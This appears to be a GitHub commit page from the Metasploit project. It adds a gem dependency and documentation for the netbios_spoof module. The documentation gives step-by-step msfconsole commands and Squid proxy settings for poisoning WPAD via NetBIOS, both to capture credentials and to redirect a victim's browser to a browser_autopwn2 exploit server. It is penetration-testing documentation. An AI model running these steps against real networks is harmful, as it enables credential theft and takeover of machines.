Skip to content

Commit 80563b2

Browse files
David MaloneyDavid Maloney
authored andcommitted
Merge branch 'master' into feature/MS-1700/sshkey-gem
2 parents 2dba09a + 55457ef commit 80563b2

21 files changed

+128
-2226
lines changed

Gemfile.lock

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ PATH
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
88
bcrypt
9+
bit-struct
910
filesize
1011
jsobfu
1112
json
@@ -83,6 +84,7 @@ GEM
8384
rspec-expectations (>= 2.99)
8485
thor (~> 0.19)
8586
bcrypt (3.1.11)
87+
bit-struct (0.15.0)
8688
builder (3.2.2)
8789
capybara (2.7.1)
8890
addressable
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
netbios_spoof continuously spams NetBIOS responses to a target for given hostname, causing the
2+
target to cache a malicious address for this name. By default, the module will attempt to poison
3+
WPAD, forcing the target system to communicate with a fake server that can be leveraged to steal
4+
sensitive information, or obtain arbitrary code execution.
5+
6+
## Vulnerable Application
7+
8+
Windows is the most ideal target because it supports WPAD by default.
9+
10+
## Options
11+
12+
**NBADDR**
13+
14+
The address that the NetBIOS name (NBNAME) should resolve to.
15+
16+
**NBNAME**
17+
18+
The NetBIOS name to spoof a reply for.
19+
20+
**PPSRATE**
21+
22+
The rate at which to send NetBIOS replies.
23+
24+
## Scenarios
25+
26+
**Credential Collection Attack Using Targeted NetBIOS Spoofing:**
27+
28+
The following example uses http_basic, but other modules (such as http_ntlm) also applies.
29+
30+
Step 1: Start the first Metasploit instance:
31+
32+
1. ```rvmsudo ./msfconsole -q```
33+
2. ```use auxiliary/server/capture/http_basic```
34+
3. ```set REALM google.com```
35+
4. ```set URIPATH /```
36+
5. ```run```
37+
38+
Step 2: Start the second Metasploit instance:
39+
40+
1. ```rvmsudo ./msfconsole -q```
41+
2. ```use auxiliary/admin/netbios/netbios_spoof```
42+
3. ```set NBADDR [IP to fake HTTP auth server]```
43+
4. ```set PPSRATE 30000```
44+
5. ```set RHOST [Target Host]```
45+
6. ```run```
46+
47+
Step 3: On the victim machine:
48+
49+
1. Make sure IE automatically detects settings (under LAN settings)
50+
2. Start IE, as soon as it opens, IE should try to authenticate.
51+
52+
If the spoofed name has already been cached, you can do this to flush. And then next time IE will
53+
be asked for credentials again.
54+
55+
```
56+
ipconfig /flushdns
57+
```
58+
59+
**Arbitrary Code Execution Using Targeted NetBIOS Spoofing:**
60+
61+
The following example will spoof WPAD and causes google.com to redirect to an exploit server.
62+
63+
Step 1: Start the first Metasploit instance:
64+
65+
1. ```rvmsudo ./msfconsole -q```
66+
2. ```use auxiliary/server/browser_autopwn2```
67+
3. ```set SRVPORT 8181```
68+
4. ```run```
69+
70+
Remember the BrowserAutoPwn URL, you will need this info for the proxy configuration file.
71+
72+
Step 2: Install [Squid](http://www.squid-cache.org/) Proxy server (or [SquidMan](http://squidman.net/squidman/) if you use OS X), and edit the configuration file:
73+
74+
First, uncomment these settings if they are found in the file:
75+
76+
* http_access deny all
77+
* http_access deny !Safe_ports
78+
* http_access deny CONNECT !SSL_ports
79+
* http_access deny to_localhost
80+
* http_access deny all
81+
* always_direct deny all
82+
83+
Second, add the following (make sure the change MyNetwork setting, and update the BrowserAutoPwn
84+
URL field:
85+
86+
```
87+
acl MyNetwork src 192.168.1.0/24
88+
acl BLKSite dstdomain .google.com
89+
deny_info [BrowserAutoPwn URL] all
90+
http_reply_access deny BLKSite all
91+
http_access allow MyNetwork
92+
```
93+
94+
Step 3: Start the second Metasploit instance:
95+
96+
1. ```rvmsudo ./msfconsole -q```
97+
2. ```use auxiliary/server/wpad```
98+
3. ```set PROXY [Proxy IP]```
99+
4. ```set PROXYPORT 8080```
100+
5. ```run```
101+
102+
Step 4: Start the third Metasploit instance:
103+
104+
1. ```rvmsudo ./msfconsole -q```
105+
2. ```use auxiliary/admin/netbios/netbios_spoof```
106+
3. ```set NBADDR [IP to fake HTTP server]```
107+
4. ```set PPSRATE 30000```
108+
5. ```set RHOST [Target Host]```
109+
6. ```run```
110+
111+
Step 5: On the victim machine:
112+
113+
1. Make sure IE automatically detects settings (under LAN settings)
114+
2. Start IE
115+
3. Go to google.com, IE should end up loading the exploit server.
116+
117+
If the spoofed name has already been cached, you can do this to flush.
118+
119+
```
120+
ipconfig /flushdns
121+
```
122+

lib/bit-struct.rb

Lines changed: 0 additions & 15 deletions
This file was deleted.

lib/bit-struct/README

Lines changed: 0 additions & 187 deletions
This file was deleted.

0 commit comments

Comments
 (0)